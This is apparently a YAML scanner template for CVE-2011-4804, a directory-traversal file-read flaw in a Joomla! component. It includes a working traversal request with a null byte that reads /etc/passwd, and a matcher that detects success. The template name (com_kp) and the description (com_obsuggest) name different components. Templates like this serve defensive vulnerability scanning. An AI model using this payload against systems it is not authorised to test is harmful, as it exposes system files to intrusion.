id: CVE-2011-4804
info:
name: Joomla! Component com_kp - 'Controller' Local File Inclusion
author: daffainfo
severity: medium
description: A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
remediation: Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://www.exploit-db.com/exploits/36598
- https://nvd.nist.gov/vuln/detail/CVE-2011-4804
- http://foobla.com/news/latest/obsuggest-1.8-security-release.html
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2011-4804
cwe-id: CWE-22
epss-score: 0.0358
epss-percentile: 0.90547
cpe: cpe:2.3:a:foobla:com_obsuggest:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: foobla
product: com_obsuggest
tags: lfi,edb,cve,cve2011,joomla
http:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200